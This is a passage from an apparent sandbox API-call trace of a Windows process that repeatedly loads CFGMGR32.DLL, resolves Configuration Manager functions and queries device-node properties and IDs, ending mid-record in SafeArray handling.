(hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0201.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0201.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0201.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0201.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0201.774] malloc (_Size=0x18) returned 0x20abc281de0 [0201.774] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0201.774] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x34080a92, dwHighDateTime=0x1d9eb0c)) [0201.775] SetEvent (hEvent=0x248) returned 1 [0201.778] malloc (_Size=0xd8) returned 0x20abc2867b0 [0201.778] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0201.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0201.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0201.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0201.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0201.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0201.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0201.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0201.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0201.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0201.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0201.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0201.780] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0201.780] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0201.780] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0201.780] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0201.780] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0201.780] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0201.780] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0201.780] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0201.781] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0201.781] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0201.781] malloc (_Size=0x18) returned 0x20abc281ea0 [0201.781] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0201.798] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x340ccab4, dwHighDateTime=0x1d9eb0c)) [0201.798] SetEvent (hEvent=0x248) returned 1 [0201.803] malloc (_Size=0xd8) returned 0x20abc2867b0 [0201.803] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0201.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0201.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0201.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0201.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0201.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0201.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0201.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0201.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0201.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0201.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0201.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0201.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0201.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0201.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0201.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0201.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0201.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0201.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0201.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0201.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0201.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0201.806] malloc (_Size=0x18) returned 0x20abc281fa0 [0201.806] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0201.808] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x340ccab4, dwHighDateTime=0x1d9eb0c)) [0201.808] SetEvent (hEvent=0x248) returned 1 [0201.811] malloc (_Size=0xd8) returned 0x20abc2867b0 [0201.811] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0201.812] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0201.812] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0201.812] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0201.812] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0201.812] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0201.812] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0201.813] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0201.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0201.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0201.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0201.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0201.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0201.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0201.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0201.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0201.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0201.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0201.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0201.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0201.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0201.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0201.995] malloc (_Size=0x18) returned 0x20abc281e80 [0201.995] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x25, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0201.996] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x34296662, dwHighDateTime=0x1d9eb0c)) [0201.996] SetEvent (hEvent=0x248) returned 1 [0202.005] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.005] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.008] malloc (_Size=0x18) returned 0x20abc281f60 [0202.008] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x25, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0202.009] malloc (_Size=0x48) returned 0x20abc27cf80 [0202.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x342bca1e, dwHighDateTime=0x1d9eb0c)) [0202.009] SetEvent (hEvent=0x248) returned 1 [0202.012] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.012] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.012] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.013] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.013] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.013] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.013] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.013] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.013] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.014] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.014] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.014] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.014] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.014] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.014] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.014] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.016] malloc (_Size=0x18) returned 0x20abc2820c0 [0202.016] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0202.017] malloc (_Size=0x48) returned 0x20abc27cb20 [0202.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x342e2e87, dwHighDateTime=0x1d9eb0c)) [0202.017] SetEvent (hEvent=0x248) returned 1 [0202.024] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.024] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.028] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.028] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.028] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.028] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.028] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.028] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.029] malloc (_Size=0x18) returned 0x20abc281c00 [0202.029] CM_Get_Device_IDA (in: dnDevInst=0x26, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HID\\VID_0A81&PID_0203\\6&7C90793&0&0000") returned 0x0 [0202.029] malloc (_Size=0x48) returned 0x20abc27cf80 [0202.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x342e2e87, dwHighDateTime=0x1d9eb0c)) [0202.029] SetEvent (hEvent=0x248) returned 1 [0202.033] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.033] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.036] malloc (_Size=0x18) returned 0x20abc281ce0 [0202.036] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0202.037] malloc (_Size=0x11e) returned 0x20abc286890 [0202.037] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0202.038] free (_Block=0x20abc286890) [0202.038] malloc (_Size=0x48) returned 0x20abc2a8a00 [0202.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x34308e84, dwHighDateTime=0x1d9eb0c)) [0202.039] SetEvent (hEvent=0x248) returned 1 [0202.271] malloc (_Size=0x18) returned 0x20abc281b60 [0202.271] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0202.271] free (_Block=0x20abc281b60) [0202.271] malloc (_Size=0x18) returned 0x20abc281e00 [0202.271] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0202.271] free (_Block=0x20abc281e00) [0202.271] malloc (_Size=0x18) returned 0x20abc281d20 [0202.271] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0202.271] free (_Block=0x20abc281d20) [0202.271] malloc (_Size=0x18) returned 0x20abc282000 [0202.271] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0202.271] free (_Block=0x20abc282000) [0202.271] malloc (_Size=0x18) returned 0x20abc281b00 [0202.271] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0202.271] free (_Block=0x20abc281b00) [0202.272] malloc (_Size=0x18) returned 0x20abc281d80 [0202.272] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0202.272] free (_Block=0x20abc281d80) [0202.272] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c570 [0202.272] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0202.272] SafeArrayGetLBound (in: psa=0x20abba80110, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0202.272] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0202.272] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0202.272] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0202.272] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0202.272] SafeArrayGetElemsize (psa=0x20abba80110) returned 0x8 [0202.272] SafeArrayGetElement (in: psa=0x20abba80110, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0202.273] memcpy (in: 